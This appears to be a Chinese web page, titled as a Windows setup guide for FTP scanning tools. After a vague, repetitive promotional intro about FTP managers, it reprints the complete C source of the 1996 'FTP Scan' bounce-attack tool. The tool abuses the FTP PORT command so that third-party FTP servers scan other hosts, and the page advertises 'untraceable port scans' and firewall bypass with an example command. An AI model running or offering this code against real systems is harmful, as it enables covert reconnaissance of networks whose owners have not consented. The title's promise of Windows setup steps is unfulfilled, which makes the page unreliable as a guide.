FTP扫描工具，FTP扫描工具在win环境下搭建方法

使用FTP连接工具进行远程连接

功能比较强大，FTP用于在FTP服务器和FTP客户端之间上传和下载文件，它最优秀的功能就是可以批量管理,可以将文件从一个主机传输到另一个主机。

它最优秀的功能就是可以批量管理，适用于Windows系统，Linux系统和VPS服务器等，能极大的提高站长及服务器运维人员工作效率，同时FTP连接管理工具还是vnc客户端，服务器真正实现了一站式管理，可谓是非常方便。

FTP扫描器记录

FTP Scan (C) 1996 Kit Knox
Exploits bug in FTP protocol that allows user to connect to arbritary
IP address and port.
Features: Untraceable port scans. Bypass firewalls!
Example usage:
ftp-scan ftp.cdrom.com 127.0.0.1 0 1024
This will scan IP 127.0.0.1 from ftp.cdrom.com from port 0 to 1024

#include <stdio.h> #include <stdlib.h> #include <sys/param.h> #include <sys/socket.h> #include <netinet/in.h> #include <netdb.h> #include <stdarg.h>

int sock; char line[1024];

void rconnect(char *server) { struct sockaddr_in sin; struct hostent *hp;

hp = gethostbyname(server); if (hp==NULL) { printf("Unknown host: %s\n",server); exit(0); } bzero((char*) &sin, sizeof(sin)); bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length); sin.sin_family = hp->h_addrtype; sin.sin_port = htons(21); sock = socket(AF_INET, SOCK_STREAM, 0); connect(sock,(struct sockaddr *) &sin, sizeof(sin)); }

void login(void) { char buf[1024];

sprintf(buf,"USER ftp\n"); send(sock, buf, strlen(buf),0); sleep(1); sprintf(buf,"PASS user@\n"); send(sock, buf, strlen(buf),0); }

void readln(void) { int i,done=0,w; char tmp[1];

sprintf(line,""); i = 0; while (!done) { w=read(sock,tmp, 1, 0); if (tmp[0] != 0) { line[i] = tmp[0]; } if (line[i] == '\n') { done = 1; } i++; } line[i] = 0; }

void sendln(char s[1024]) { send(sock, s, strlen(s),0); }

#define UC(b) (((int)b)&0xff)

void main(int argc, char **argv) { char buf[1024]; int i; u_short sport,eport; register char *p,*a; struct hostent *hp; struct sockaddr_in sin; char adr[1024];

if (argc != 5) { printf("usage: ftp-scan ftp_server scan_host loport hiport\n"); exit(-1); }

hp = gethostbyname(argv[2]); if (hp==NULL) { printf("Unknown host: %s\n",argv[2]); exit(0); } bzero((char*) &sin, sizeof(sin)); bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);

rconnect(argv[1]); /* Login anon to server / login(); / Make sure we are in */ for (i=0; i<200; i++) { readln(); if (strstr(line,"230 Guest")) { printf("%s",line); i = 200; } } a=(char *)&sin.sin_addr; sport = atoi(argv[3]); eport = atoi(argv[4]); sprintf(adr,"%i,%i,%i,%i",UC(a[0]),UC(a[1]),UC(a[2]),UC(a[3])); for (i=sport; i<eport; i++) { sin.sin_port = htons(i); p=(char *)&sin.sin_port; sprintf(buf,"\nPORT %s,%i,%i\nLIST\n",adr,UC(p[0]),UC(p[1])); sendln(buf); sprintf(line,""); while (!strstr(line, "150") && !strstr(line,"425")) { readln(); } if (strstr(line,"150")) { printf("%i connected.\n",i); } } close(sock); }

至此，以上
